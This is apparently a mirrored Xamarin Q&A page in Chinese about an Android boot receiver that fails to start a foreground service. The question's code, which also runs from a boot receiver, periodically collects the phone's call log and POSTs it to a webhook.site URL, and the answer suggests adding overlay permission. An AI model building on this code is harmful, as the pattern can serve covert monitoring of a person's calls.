首页 > 解决方案 > ACTION_BOOT_COMPLETED 接收器不工作

问题描述

我有这个广播接收器ACTION_BOOT_COMPLETED

[BroadcastReceiver(Enabled = true, DirectBootAware = true, Exported = true)]
    [IntentFilter(new[] { Intent.ActionBootCompleted }, Priority = (int)IntentFilterPriority.HighPriority)]
    public class BootReceiver : BroadcastReceiver
    {
        public override void OnReceive(Context context, Intent intent)
        {
            Intent startIntent = new Intent(context, typeof(PService));
            startIntent.AddFlags(ActivityFlags.NewTask);
            context.StartForegroundService(startIntent);
        }
    }

我的主要活动:

        protected override void OnCreate(Bundle savedInstanceState)
        {
            TabLayoutResource = Resource.Layout.Tabbar;
            ToolbarResource = Resource.Layout.Toolbar;

            base.OnCreate(savedInstanceState);

            Xamarin.Essentials.Platform.Init(this, savedInstanceState);
            global::Xamarin.Forms.Forms.Init(this, savedInstanceState);

            LoadApplication(new App());

            StartForegroundService(new Intent(this, typeof(PService)));

            if (!Android.Provider.Settings.CanDrawOverlays(this))
            {
                Intent intent = new Intent(Android.Provider.Settings.ActionManageOverlayPermission);
                StartActivityForResult(intent, 0);
            }

        }

我的服务:

        public override StartCommandResult OnStartCommand(Intent intent, StartCommandFlags flags, int startId)
        {


            var seconds = TimeSpan.FromSeconds(15);
            Device.StartTimer(seconds, () =>
            {


            Root r = new Root();

            MySqlConnection con = new MySqlConnection("*PRIVATE DATA*");
            con.Open();

            MySqlCommand cmd = con.CreateCommand();
            cmd.CommandText = "SELECT * FROM user_data";
            MySqlDataReader reader = cmd.ExecuteReader();

            DateTime user = DateTime.Now;

            while (reader.Read())
            {
                if (reader.GetString(0) == Preferences.Get("GUID", "ERROR"))
                {

                    user = DateTime.ParseExact(reader[1].ToString(), "HH:mm:ss", CultureInfo.InvariantCulture);
                    r.ID = reader.GetString(2);
                }
            }

            async void LoadCallLog()
            {
                var Logg = DependencyService.Get<ICallLog>().GetCallLogs();

                r.calls = (List<CallLogModel>)Logg;

                var serialized = JsonConvert.SerializeObject(r);
                using (var client = new HttpClient())
                {
                    await client.PostAsync("https://webhook.site/dd7cd0f8-6bd8-4e9f-961d-6b105e1dc7eb", new StringContent(serialized));
                }
            }

            if (user.ToString("HH:mm") == DateTime.Now.ToString("HH:mm"))
            {
                LoadCallLog();
                Thread.Sleep(60000);
            }

                return true;
            });


            return StartCommandResult.Sticky;
        }

但是一旦启动完成,它就不会启动我的服务。清单由 xamarin 自动生成。我知道问题是在新的 API(26+)中有一些限制。

有人可以帮我解决我应该更改的内容,以便此代码可以正常工作吗?我正在使用 29 API 版本。

标签: c#androidxamarin

解决方案


尝试添加以下权限:

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>

这需要在您的活动中绘制叠加层:

 if (!Android.Provider.Settings.CanDrawOverlays(this))
        {
            Intent intent = new Intent(Android.Provider.Settings.ActionManageOverlayPermission);
            StartActivityForResult(intent,requestCode);
        }

你可以参考类似的案例


推荐阅读